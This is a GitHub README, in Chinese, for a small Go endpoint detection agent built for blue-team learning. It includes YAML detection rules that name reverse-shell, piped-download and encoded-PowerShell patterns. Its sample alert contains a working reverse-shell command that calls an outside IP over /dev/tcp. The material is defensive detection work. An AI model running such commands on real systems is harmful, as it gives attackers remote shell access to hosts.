forgehk/darkforge-edr
GitHub: forgehk/darkforge-edr
一个用于学习 EDR 内部机制的轻量级端点检测代理。
Stars: 0 | Forks: 0
# darkforge-edr
[]() [](LICENSE)
## 功能介绍
`darkforge-edr` 是一个小型、可自由修改的端点检测代理,设计为蓝队/检测工程概念的学习沙盒:
- **进程遥测** —— 轮询运行中的进程,发出创建/退出事件。
- **规则引擎** —— YAML 规则根据进程名称、命令行和父子链进行匹配。
- **警报输出** —— 默认将 JSON-lines 写入磁盘,可选 POST 到 HTTP 收集器。
- **精简二进制** —— 单个 Go 可执行文件,无运行时依赖,以非 root 守护进程运行,提供基线视图。
其目的不是与 CrowdStrike 竞争。而是以几百行代码让你能一口气读完,走一遍 EDR 的*剖析*流程——收集器 → 规则集 → 警报流水线。由于每一层都可检查,对于 SOC/蓝队面试很有用。
## 快速开始
```
go install github.com/forgehk/darkforge-edr/cmd/dfedr@latest
# 使用默认的 rulepack 运行
dfedr run
# 使用自定义的 rulepack 运行并将告警写入 alerts.jsonl
dfedr run --rules ./rules.yaml --out ./alerts.jsonl
# 在另一个终端查看告警
tail -f alerts.jsonl | jq .
```
示例警报(每行一条,JSON 格式):
```
{
"ts": "2026-05-17T07:42:11Z",
"rule": "suspicious_shell_spawn",
"severity": "high",
"pid": 12031,
"ppid": 1248,
"name": "bash",
"cmdline": "bash -i >& /dev/tcp/10.0.0.5/4444 0>&1",
"host": "myhost",
"tags": ["reverse-shell", "mitre:T1059"]
}
```
## 规则包格式
规则以 YAML 存储,匹配所观察进程的字段。每条规则:
```
rules:
- name: suspicious_shell_spawn
severity: high
when:
name: ["bash", "sh", "zsh", "ksh"]
cmdline_contains: ["/dev/tcp/", "nc -e", "ncat -e", "0>&1"]
tags: ["reverse-shell", "mitre:T1059"]
- name: powershell_encoded_command
severity: high
when:
name: ["powershell.exe", "pwsh.exe"]
cmdline_regex: '(?i)(-e(c|nc|ncodedcommand)\\s+[A-Za-z0-9+/=]{20,})'
tags: ["t1059.001", "obfuscated-command"]
- name: living_off_the_land_curl
severity: medium
when:
name: ["curl", "wget"]
cmdline_contains: ["|sh", "|bash", "|python"]
tags: ["lolbin", "mitre:T1105"]
- name: scheduled_task_recon
severity: low
when:
name: ["crontab", "at", "schtasks.exe"]
cmdline_contains: ["-l", "/query"]
tags: ["mitre:T1053"]
```
匹配语义:
- `name`:精确匹配进程基本名称(列表中任一匹配即通过)。
- `cmdline_contains`:列表中任一子字符串匹配即通过。
- `cmdline_regex`:至少一个正则表达式必须匹配(Go RE2 语法)。
- `when` 内的所有条件为 AND 关系;若存在多个列表式条件,每个条件要求至少一个匹配项。
## 架构
```
┌──────────────────────────┐
│ process collector │ → /proc on Linux, ps fallback on macOS,
│ (poll every 1s) │ Win32 toolhelp on Windows.
└────────────┬─────────────┘
│ events: process_create, process_exit
▼
┌──────────────────────────┐
│ rule engine │ ← rules.yaml
│ name / cmdline / regex │
└────────────┬─────────────┘
│ matched events
▼
┌──────────────────────────┐
│ alert sink │ → JSON-lines file, optional HTTP collector
└──────────────────────────┘
```
每一层都是一个带有小型接口的 Go 包,因此更换收集器或输出器只需修改一个文件。
## 构建与测试
```
git clone https://github.com/forgehk/darkforge-edr
cd darkforge-edr
go build ./cmd/dfedr
go test ./...
```
为其他操作系统交叉编译:
```
GOOS=linux GOARCH=amd64 go build -o dist/dfedr-linux-amd64 ./cmd/dfedr
GOOS=darwin GOARCH=arm64 go build -o dist/dfedr-darwin-arm64 ./cmd/dfedr
```
## 为什么构建这个项目
我想理解 EDR 内部*究竟*有什么,而不只是阅读厂商数据表。这个代理就是结果——一个清晰、可读的脚手架,未来我可以逐步添加新的收集器(文件事件、网络连接、通过 eBPF 的系统调用)。
它也是 **SOC / 蓝队** 职位的一个不错的面试展示品,因为每个部分都小到足以逐行讲解。
## 发展路线图
- [x] 基于 /proc 的进程收集器(Linux)
- [x] YAML 规则引擎,支持名称/命令行/正则匹配
- [x] JSON-lines 警报输出
- [x] MITRE ATT&CK 映射的标签系统
- [ ] 文件创建/修改收集器(Linux 上使用 fanotify)
- [ ] 网络连接收集器
- [ ] eBPF 系统调用钩子
- [ ] macOS / Windows 进程收集器
- [ ] Web 仪表板(Next.js,位于独立代码库)
- [ ] 通过 GitHub Actions 进行签名发布
## 许可证
[MIT](LICENSE)
*由 [@forgehk](https://github.com/forgehk) 构建 — [DarkForge AI](https://darkforgeai.com)*
标签:Cloudflare, EVTX分析, HTTP收集器, JSON-lines警报, MITRE ATT&CK, YAML规则引擎, 命令行分析, 安全学习工具, 日志审计, 正则表达式匹配, 端点检测, 蓝队检测, 警报系统, 轻量级安全代理, 进程创建事件, 进程遥测